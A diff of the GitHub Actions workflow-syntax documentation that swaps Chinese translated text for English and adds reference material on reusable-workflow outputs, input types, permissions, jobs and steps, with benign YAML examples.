@@ on: - '!sub-project/docs/**' ``` -### Git 差异比较 +### Git diff comparisons {% note %} -**注：** 如果您推送超过 1,000 项提交， 或者如果 {% data variables.product.prodname_dotcom %} 因超时未生成差异，工作流程将始终运行。 +**Note:** If you push more than 1,000 commits, or if {% data variables.product.prodname_dotcom %} does not generate the diff due to a timeout, the workflow will always run. {% endnote %} -过滤器决定是否应通过评估已更改文件，并根据 `paths-ignore` or `paths` 列表运行它们，来运行一个工作流程。 如果没有更改文件，工作流程将不会运行。 +The filter determines if a workflow should run by evaluating the changed files and running them against the `paths-ignore` or `paths` list. If there are no files changed, the workflow will not run. -{% data variables.product.prodname_dotcom %} 会针对推送使用双点差异，针对拉取请求使用三点差异，生成已更改文件列表： -- **拉取请求：** 三点差异比较主题分支的最近版本与其中使用基本分支最新同步主题分支的提交。 -- **推送到现有分支：** 双点差异可以直接相互比较头部和基础 SHA。 -- **推送到新分支：**根据已推送最深提交的前身父项的两点差异。 +{% data variables.product.prodname_dotcom %} generates the list of changed files using two-dot diffs for pushes and three-dot diffs for pull requests: +- **Pull requests:** Three-dot diffs are a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch. +- **Pushes to existing branches:** A two-dot diff compares the head and base SHAs directly with each other. +- **Pushes to new branches:** A two-dot diff against the parent of the ancestor of the deepest commit pushed. -差异限制为 300 个文件。 如果更改的文件与过滤器返回的前 300 个文件不匹配，工作流程将不会运行。 您可能需要创建更多的特定过滤器，以便工作流程自动运行。 +Diffs are limited to 300 files. If there are files changed that aren't matched in the first 300 files returned by the filter, the workflow will not run. You may need to create more specific filters so that the workflow will run automatically. -更多信息请参阅“[关于比较拉取请求中的分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)”。 +For more information, see "[About comparing branches in pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)." {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## `on.workflow_call.inputs` -When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. Inputs for reusable workflows are specified with the same format as action inputs. For more information about inputs, see "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)." For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)." +When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)." In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs..type`](#onworkflow_callinputsinput_idtype). @@ -197,7 +197,7 @@ Within the called workflow, you can use the `inputs` context to refer to an inpu If a caller workflow passes an input that is not specified in the called workflow, this results in an error. -### 示例 +### Example {% raw %} ```yaml @@ -209,7 +209,7 @@ on: default: 'john-doe' required: false type: string - + jobs: print-username: runs-on: ubuntu-latest @@ -226,6 +226,31 @@ For more information, see "[Reusing workflows](/actions/learn-github-actions/reu Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`. +## `on.workflow_call.outputs` + +A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow. + +In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`. + +### Example + +{% raw %} +```yaml +on: + workflow_call: + # Map the workflow outputs to job outputs + outputs: + workflow_output1: + description: "The first job output" + value: ${{ jobs.my_job.outputs.job_output1 }} + workflow_output2: + description: "The second job output" + value: ${{ jobs.my_job.outputs.job_output2 }} +``` +{% endraw %} + +For information on how to reference a job output, see [`jobs..outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + ## `on.workflow_call.secrets` A map of the secrets that can be used in the called workflow. @@ -234,7 +259,7 @@ Within the called workflow, you can use the `secrets` context to refer to a secr If a caller workflow passes a secret that is not specified in the called workflow, this results in an error. -### 示例 +### Example {% raw %} ```yaml @@ -244,7 +269,7 @@ on: access-token: description: 'A token passed from the caller workflow' required: false - + jobs: pass-secret-to-action: runs-on: ubuntu-latest @@ -259,7 +284,7 @@ jobs: ## `on.workflow_call.secrets.` -A string identifier to associate with the secret. +A string identifier to associate with the secret. ## `on.workflow_call.secrets..required` @@ -268,7 +293,7 @@ A boolean specifying whether the secret must be supplied. ## `on.workflow_dispatch.inputs` -When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. 工作流程调度输入的格式与操作输入相同。 有关格式的更多信息，请参阅“[GitHub Actions 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions#inputs)”。 +When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. ```yaml on: @@ -277,33 +302,43 @@ on: logLevel: description: 'Log level' required: true - default: 'warning' + default: 'warning' {% ifversion ghec or ghes > 3.3 or ghae-issue-5511 %} + type: choice + options: + - info + - warning + - debug {% endif %} tags: description: 'Test scenario tags' - required: false + required: false {% ifversion ghec or ghes > 3.3 or ghae-issue-5511 %} + type: boolean + environment: + description: 'Environment to run tests against' + type: environment + required: true {% endif %} ``` -触发的工作流程接收 `github.event.input` 上下文中的输入。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。 +The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." ## `on.schedule` {% data reusables.repositories.actions-scheduled-workflow-example %} -有关计划任务语法的更多信息请参阅“[触发工作流程的事件](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)”。 +For more information about cron syntax, see "[Events that trigger workflows](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## `权限` +## `permissions` -您可以修改授予 `GITHUB_TOKEN` 的默认权限，根据需要添加或删除访问权限，以便只授予所需的最低访问权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。 +You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -您可以使用 `permissions` 作为顶级密钥，以应用于工作流程中的所有作业，或特定的作业。 当您在特定作业中添加 `permissions` 键时，该作业中的所有操作和运行命令使用 `GITHUB_TOKEN` 获取您指定的访问权限。 更多信息请参阅 [`jobs..permissions`](#jobsjob_idpermissions)。 +You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify. For more information, see [`jobs..permissions`](#jobsjob_idpermissions). {% data reusables.github-actions.github-token-available-permissions %} {% data reusables.github-actions.forked-write-permission %} -### 示例 +### Example -此示例显示为将要应用到工作流程中所有作业的 `GITHUB_TOKEN` 设置的权限。 所有权限都被授予读取权限。 +This example shows permissions being set for the `GITHUB_TOKEN` that will apply to all jobs in the workflow. All permissions are granted read access. ```yaml name: "My workflow" @@ -319,11 +354,11 @@ jobs: ## `env` -环境变量的 `map` 可用于工作流程中所有作业的步骤。 您还可以设置仅适用于单个作业的步骤或单个步骤的环境变量。 更多信息请参阅 [`jobs..env`](#jobsjob_idenv) and [`jobs..steps[*].env`](#jobsjob_idstepsenv)。 +A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs..env`](#jobsjob_idenv) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). {% data reusables.repositories.actions-env-var-note %} -### 示例 +### Example ```yaml env: @@ -332,17 +367,17 @@ env: ## `defaults` -将应用到工作流程中所有作业的默认设置的 `map`。 您也可以设置只可用于作业的默认设置。 更多信息请参阅 [`jobs..defaults`](#jobsjob_iddefaults)。 +A `map` of default settings that will apply to all jobs in the workflow. You can also set default settings that are only available to a job. For more information, see [`jobs..defaults`](#jobsjob_iddefaults). {% data reusables.github-actions.defaults-override %} ## `defaults.run` -您可以为工作流程中的所有 [`run`](#jobsjob_idstepsrun) 步骤提供默认的 `shell` 和 `working-directory` 选项。 您也可以设置只可用于作业的 `run` 默认设置。 更多信息请参阅 [`jobs..defaults.run`](#jobsjob_iddefaultsrun)。 您不能在此关键词中使用上下文或表达式。 +You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a workflow. You can also set default settings for `run` that are only available to a job. For more information, see [`jobs..defaults.run`](#jobsjob_iddefaultsrun). You cannot use contexts or expressions in this keyword. {% data reusables.github-actions.defaults-override %} -### 示例 +### Example ```yaml defaults: @@ -354,28 +389,28 @@ defaults: {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} ## `concurrency` -Concurrency 确保只有使用相同并发组的单一作业或工作流程才会同时运行。 并发组可以是任何字符串或表达式。 The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." +Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -您也可以在作业级别指定 `concurrency`。 更多信息请参阅 [`jobs..concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)。 +You can also specify `concurrency` at the job level. For more information, see [`jobs..concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency). {% data reusables.actions.actions-group-concurrency %} {% endif %} ## `jobs` -工作流程运行包括一项或多项作业。 作业默认是并行运行。 要按顺序运行作业，您可以使用 `needs` 关键词在其他作业上定义依赖项。 +A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the `jobs..needs` keyword. -每个作业在 `runs-on` 指定的运行器环境中运行。 +Each job runs in a runner environment specified by `runs-on`. -在工作流程的使用限制之内可运行无限数量的作业。 更多信息请参阅“[使用限制和计费](/actions/reference/usage-limits-billing-and-administration)”（对于 {% data variables.product.prodname_dotcom %} 托管的运行器）和“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”（对于自托管运行器使用限制）。 +You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. -If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. 更多信息请参阅“[工作流程作业](/rest/reference/actions#workflow-jobs)”。 +If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)." ## `jobs.` -Create an identifier for your job by giving it a unique name. 键值 `job_id` 是一个字符串，其值是作业配置数据的映像。 必须将 `` 替换为 `jobs` 对象唯一的字符串。 `` 必须以字母或 `_` 开头，并且只能包含字母数字字符、`-` 或 `_`。 +Create an identifier for your job by giving it a unique name. The key `job_id` is a string and its value is a map of the job's configuration data. You must replace `` with a string that is unique to the `jobs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. -### 示例 +### Example In this example, two jobs have been created, and their `job_id` values are `my_first_job` and `my_second_job`. @@ -389,13 +424,13 @@ jobs: ## `jobs..name` -作业显示在 {% data variables.product.prodname_dotcom %} 上的名称。 +The name of the job displayed on {% data variables.product.prodname_dotcom %}. ## `jobs..needs` -识别在此作业运行之前必须成功完成的任何作业。 它可以是一个字符串，也可以是字符串数组。 如果某个作业失败，则所有需要它的作业都会被跳过，除非这些作业使用让该作业继续的条件表达式。 +Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue. -### 示例：要求相关作业成功 +### Example: Requiring dependent jobs to be successful ```yaml jobs: @@ -406,15 +441,15 @@ jobs: needs: [job1, job2] ``` -在此示例中，`job1` 必须在 `job2` 开始之前成功完成，而 `job3` 要等待 `job1` 和 `job2` 完成。 +In this example, `job1` must complete successfully before `job2` begins, and `job3` waits for both `job1` and `job2` to complete. -此示例中的作业按顺序运行： +The jobs in this example run sequentially: 1. `job1` 2. `job2` 3. `job3` -### 示例：不要求相关作业成功 +### Example: Not requiring dependent jobs to be successful ```yaml jobs: @@ -426,72 +461,72 @@ jobs: needs: [job1, job2] ``` -在此示例中，`job3` 使用 `always()` 条件表达式，因此它始终在 `job1` 和 `job2` 完成后运行，不管它们是否成功。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." +In this example, `job3` uses the `always()` conditional expression so that it always runs after `job1` and `job2` have completed, regardless of whether they were successful. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." ## `jobs..runs-on` -**必填**。 要运行作业的机器类型。 机器可以是 {% data variables.product.prodname_dotcom %} 托管的运行器或自托管的运行器。 +**Required**. The type of machine to run the job on. The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner. {% ifversion ghae %} -### {% data variables.actions.hosted_runner %} +### {% data variables.actions.hosted_runner %}s -如果使用 {% data variables.actions.hosted_runner %}，每个作业将在 `runs-on` 指定的虚拟环境的新实例中运行。 +If you use an {% data variables.actions.hosted_runner %}, each job runs in a fresh instance of a virtual environment specified by `runs-on`. -#### 示例 +#### Example ```yaml runs-on: [AE-runner-for-CI] ``` -更多信息请参阅“[关于 {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners)”。 +For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." {% else %} {% data reusables.actions.enterprise-github-hosted-runners %} -### {% data variables.product.prodname_dotcom %} 托管的运行器 +### {% data variables.product.prodname_dotcom %}-hosted runners -如果使用 {% data variables.product.prodname_dotcom %} 托管的运行器，每个作业将在 `runs-on` 指定的虚拟环境的新实例中运行。 +If you use a {% data variables.product.prodname_dotcom %}-hosted runner, each job runs in a fresh instance of a virtual environment specified by `runs-on`. -可用的 {% data variables.product.prodname_dotcom %} 托管的运行器类型包括： +Available {% data variables.product.prodname_dotcom %}-hosted runner types are: {% data reusables.github-actions.supported-github-runners %} -#### 示例 +#### Example ```yaml runs-on: ubuntu-latest ``` -更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”。 +For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} -### 自托管运行器 +### Self-hosted runners {% data reusables.actions.ae-self-hosted-runners-notice %} {% data reusables.github-actions.self-hosted-runner-labels-runs-on %} -#### 示例 +#### Example ```yaml runs-on: [self-hosted, linux] ``` -更多信息请参阅“[关于自托管的运行器](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)”和“[在工作流程中使用自托管的运行器](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)”。 +For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ## `jobs..permissions` -您可以修改授予 `GITHUB_TOKEN` 的默认权限，根据需要添加或删除访问权限，以便只授予所需的最低访问权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。 +You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -通过在工作定义中指定权限，您可以根据需要为每个作业的 `GITHUB_TOKEN` 配置一组不同的权限。 或者，您也可以为工作流程中的所有作业指定权限。 有关在工作流程级别定义权限的信息，请参阅 [`permissions`](#permissions)。 +By specifying the permission within a job definition, you can configure a different set of permissions for the `GITHUB_TOKEN` for each job, if required. Alternatively, you can specify the permissions for all jobs in the workflow. For information on defining permissions at the workflow level, see [`permissions`](#permissions). {% data reusables.github-actions.github-token-available-permissions %} {% data reusables.github-actions.forked-write-permission %} -### 示例 +### Example -此示例显示为将要应用到作业 `stale` 的 `GITHUB_TOKEN` 设置的权限。 对于 `issues` 和 `pull-requests` 拉取请求，授予写入访问权限。 所有其他范围将没有访问权限。 +This example shows permissions being set for the `GITHUB_TOKEN` that will only apply to the job named `stale`. Write access is granted for the `issues` and `pull-requests` scopes. All other scopes will have no access. ```yaml jobs: @@ -510,18 +545,18 @@ jobs: {% ifversion fpt or ghes > 3.0 or ghae or ghec %} ## `jobs..environment` -作业引用的环境。 在将引用环境的作业发送到运行器之前，必须通过所有环境保护规则。 更多信息请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 +The environment that the job references. All environment protection rules must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." -您可以将环境仅作为环境 `name`，或作为具有 `name` 和 `url` 的环境变量。 URL 映射到部署 API 中的 `environment_url`。 有关部署 API 的更多信息，请参阅“[部署](/rest/reference/repos#deployments)”。 +You can provide the environment as only the environment `name`, or as an environment object with the `name` and `url`. The URL maps to `environment_url` in the deployments API. For more information about the deployments API, see "[Deployments](/rest/reference/repos#deployments)." -#### 使用单一环境名称的示例 +#### Example using a single environment name {% raw %} ```yaml environment: staging_environment ``` {% endraw %} -#### 使用环境名称和 URL 的示例 +#### Example using environment name and URL ```yaml environment: @@ -531,7 +566,7 @@ environment: The URL can be an expression and can use any context except for the [`secrets` context](/actions/learn-github-actions/contexts#contexts). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -### 示例 +### Example {% raw %} ```yaml environment: @@ -546,26 +581,26 @@ environment: {% note %} -**注意：** 在作业级别指定并发时，无法保证在 5 分钟内排队的作业或运行的互相顺序。 +**Note:** When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other. {% endnote %} -Concurrency 确保只有使用相同并发组的单一作业或工作流程才会同时运行。 并发组可以是任何字符串或表达式。 表达式可以使用除 `secrets` 上下文以外的任何上下文。 For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." +Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the `secrets` context. For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)." -您也可以在工作流程级别指定 `concurrency`。 更多信息请参阅 [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency)。 +You can also specify `concurrency` at the workflow level. For more information, see [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency). {% data reusables.actions.actions-group-concurrency %} {% endif %} ## `jobs..outputs` -作业的输出 `map`。 作业输出可用于所有依赖此作业的下游作业。 有关定义作业依赖项的更多信息，请参阅 [`jobs..needs`](#jobsjob_idneeds)。 +A `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs..needs`](#jobsjob_idneeds). -作业输出是字符串，当每个作业结束时，在运行器上评估包含表达式的作业输出。 包含密码的输出在运行器上编辑，不会发送至 {% data variables.product.prodname_actions %}。 +Job outputs are strings, and job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}. -要在依赖的作业中使用作业输出, 您可以使用 `needs` 上下文。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#needs-context)”。 +To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)." -### 示例 +### Example {% raw %} ```yaml @@ -591,11 +626,11 @@ jobs: ## `jobs..env` -环境变量的 `map` 可用于作业中的所有步骤。 您也可以设置整个工作流程或单个步骤的环境变量。 更多信息请参阅 [`env`](#env) 和 [`jobs..steps[*].env`](#jobsjob_idstepsenv)。 +A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). {% data reusables.repositories.actions-env-var-note %} -### 示例 +### Example ```yaml jobs: @@ -606,19 +641,19 @@ jobs: ## `jobs..defaults` -将应用到作业中所有步骤的默认设置的 `map`。 您也可以设置整个工作流程的默认设置。 更多信息请参阅 [`defaults`](#defaults)。 +A `map` of default settings that will apply to all steps in the job. You can also set default settings for the entire workflow. For more information, see [`defaults`](#defaults). {% data reusables.github-actions.defaults-override %} ## `jobs..defaults.run` -为作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`。 此部分不允许上下文和表达式。 +Provide default `shell` and `working-directory` to all `run` steps in the job. Context and expression are not allowed in this section. -您可以为作业中的所有 [`run`](#jobsjob_idstepsrun) 步骤提供默认的 `shell` 和 `working-directory` 选项。 您也可以为整个工作流程设置 `run` 的默认设置。 更多信息请参阅 [`jobs.defaults.run`](#defaultsrun)。 您不能在此关键词中使用上下文或表达式。 +You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a job. You can also set default settings for `run` for the entire workflow. For more information, see [`jobs.defaults.run`](#defaultsrun). You cannot use contexts or expressions in this keyword. {% data reusables.github-actions.defaults-override %} -### 示例 +### Example ```yaml jobs: @@ -632,17 +667,17 @@ jobs: ## `jobs..if` -您可以使用 `if` 条件阻止作业在条件得到满足之前运行。 您可以使用任何支持上下文和表达式来创建条件。 +You can use the `if` conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional. {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." ## `jobs..steps` -作业包含一系列任务，称为 `steps`。 步骤可以运行命令、运行设置任务，或者运行您的仓库、公共仓库中的操作或 Docker 注册表中发布的操作。 并非所有步骤都会运行操作，但所有操作都会作为步骤运行。 每个步骤在运行器环境中以其自己的进程运行，且可以访问工作区和文件系统。 因为步骤以自己的进程运行，所以步骤之间不会保留环境变量的更改。 {% data variables.product.prodname_dotcom %} 提供内置的步骤来设置和完成作业。 +A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job. -在工作流程的使用限制之内可运行无限数量的步骤。 更多信息请参阅“[使用限制和计费](/actions/reference/usage-limits-billing-and-administration)”（对于 {% data variables.product.prodname_dotcom %} 托管的运行器）和“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”（对于自托管运行器使用限制）。 +You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits. -### 示例 +### Example {% raw %} ```yaml @@ -668,17 +703,17 @@ jobs: ## `jobs..steps[*].id` -步骤的唯一标识符。 您可以使用 `id` 引用上下文中的步骤。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。 +A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." ## `jobs..steps[*].if` -您可以使用 `if` 条件阻止步骤在条件得到满足之前运行。 您可以使用任何支持上下文和表达式来创建条件。 +You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional. {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)." -### 示例：使用上下文 +### Example: Using contexts - 此步骤仅在事件类型为 `pull_request` 并且事件操作为 `unassigned` 时运行。 + This step only runs when the event type is a `pull_request` and the event action is `unassigned`. ```yaml steps: @@ -687,9 +722,9 @@ steps: run: echo This event is a pull request that had an assignee removed. ``` -### 示例：使用状态检查功能 +### Example: Using status check functions -`my backup step` 仅在作业的上一步失败时运行。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." +The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)." ```yaml steps: @@ -702,22 +737,22 @@ steps: ## `jobs..steps[*].name` -步骤显示在 {% data variables.product.prodname_dotcom %} 上的名称。 +A name for your step to display on {% data variables.product.prodname_dotcom %}. ## `jobs..steps[*].uses` -选择要作为作业中步骤的一部分运行的操作。 操作是一种可重复使用的代码单位。 您可以使用工作流程所在仓库中、公共仓库中或[发布 Docker 容器映像](https://hub.docker.com/)中定义的操作。 +Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). -强烈建议指定 Git ref、SHA 或 Docker 标记编号来包含所用操作的版本。 如果不指定版本，在操作所有者发布更新时可能会中断您的工作流程或造成非预期的行为。 -- 使用已发行操作版本的 SHA 对于稳定性和安全性是最安全的。 -- 使用特定主要操作版本可在保持兼容性的同时接收关键修复和安全补丁。 还可确保您的工作流程继续工作。 -- 使用操作的默认分支可能很方便，但如果有人新发布具有突破性更改的主要版本，您的工作流程可能会中断。 +We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. +- Using the commit SHA of a released action version is the safest for stability and security. +- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work. +- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. -有些操作要求必须通过 [`with`](#jobsjob_idstepswith) 关键词设置输入。 请查阅操作的自述文件，确定所需的输入。 +Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. -操作为 JavaScript 文件或 Docker 容器。 如果您使用的操作是 Docker 容器，则必须在 Linux 环境中运行作业。 更多详情请参阅 [`runs-on`](#jobsjob_idruns-on)。 +Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on). -### 示例：使用版本化操作 +### Example: Using versioned actions ```yaml steps: @@ -731,11 +766,11 @@ steps: - uses: actions/checkout@main ``` -### 示例：使用公共操作 +### Example: Using a public action `{owner}/{repo}@{ref}` -您可以指定公共 {% data variables.product.prodname_dotcom %} 仓库中的分支、引用或 SHA。 +You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository. ```yaml jobs: @@ -749,11 +784,11 @@ jobs: uses: actions/aws@v2.0.1 ``` -### 示例：在子目录中使用公共操作 +### Example: Using a public action in a subdirectory `{owner}/{repo}/{path}@{ref}` -公共 {% data variables.product.prodname_dotcom %} 仓库中特定分支、引用或 SHA 上的子目录。 +A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA. ```yaml jobs: @@ -763,11 +798,11 @@ jobs: uses: actions/aws/ec2@main ``` -### 示例：使用工作流程所在仓库中操作 +### Example: Using an action in the same repository as the workflow `./path/to/dir` -包含工作流程的仓库中操作的目录路径。 在使用操作之前，必须检出仓库。 +The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action. ```yaml jobs: @@ -779,11 +814,11 @@ jobs: uses: ./.github/actions/my-action ``` -### 示例：使用 Docker 中枢操作 +### Example: Using a Docker Hub action `docker://{image}:{tag}` -[Docker 中枢](https://hub.docker.com/)上发布的 Docker 映像。 +A Docker image published on [Docker Hub](https://hub.docker.com/). ```yaml jobs: @@ -794,11 +829,11 @@ jobs: ``` {% ifversion fpt or ghec %} -#### 示例：使用 {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} +#### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} `docker://{host}/{image}:{tag}` -{% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} 中的 Docker 映像。 +A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. ```yaml jobs: @@ -808,11 +843,11 @@ jobs: uses: docker://ghcr.io/OWNER/IMAGE_NAME ``` {% endif %} -#### 示例：使用 Docker 公共注册表操作 +#### Example: Using a Docker public registry action `docker://{host}/{image}:{tag}` -公共注册表中的 Docker 映像。 此示例在 `gcr.io` 使用 Google Container Registry。 +A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`. ```yaml jobs: @@ -822,11 +857,11 @@ jobs: uses: docker://gcr.io/cloud-builders/gradle ``` -### 示例：在不同于工作流程的私有仓库中使用操作 +### Example: Using an action inside a different private repository than the workflow -您的工作流程必须检出私有仓库，并在本地引用操作。 生成个人访问令牌并将该令牌添加为加密密钥。 